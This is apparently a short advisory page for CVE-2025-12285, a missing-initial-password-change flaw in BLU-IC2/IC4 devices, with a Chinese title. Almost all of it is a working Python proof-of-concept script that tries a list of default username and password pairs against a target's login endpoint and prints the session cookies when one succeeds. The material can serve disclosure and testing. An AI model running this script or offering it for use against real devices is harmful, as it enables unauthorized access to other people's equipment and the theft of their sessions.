CVE-2025-12285: BLU-IC2/IC4存在缺少初始密码更改严重漏洞

import requests # CVE-2025-12285 PoC - Default Credential Exploitation for BLU-IC2/IC4 # This PoC demonstrates the Missing Initial Password Change vulnerability TARGET_HOST = "http://target-device-ip" DEFAULT_CREDENTIALS = [ {"username": "admin", "password": "admin"}, {"username": "admin", "password": "password"}, {"username": "admin", "password": "12345"}, {"username": "administrator", "password": "administrator"}, {"username": "root", "password": "root"}, {"username": "bluic", "password": "bluic"}, {"username": "bluic2", "password": "bluic2"}, {"username": "bluic4", "password": "bluic4"}, ] def check_vulnerability(): """Check if target device is vulnerable to CVE-2025-12285""" print(f"[*] Testing CVE-2025-12285 - Missing Initial Password Change") print(f"[*] Target: {TARGET_HOST}") # Try to access the login endpoint login_url = f"{TARGET_HOST}/login" for cred in DEFAULT_CREDENTIALS: print(f"[*] Testing credential: {cred['username']}:{cred['password']}") try: response = requests.post( login_url, data={ "username": cred["username"], "password": cred["password"] }, timeout=10 ) # Check if login was successful if response.status_code == 200 and "success" in response.text.lower(): print(f"[!] VULNERABLE! Default credential works: {cred['username']}:{cred['password']}") print(f"[!] Session/Token: {response.cookies.get_dict()}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue print(f"[*] No default credentials worked, device may not be vulnerable") return False if __name__ == "__main__": check_vulnerability()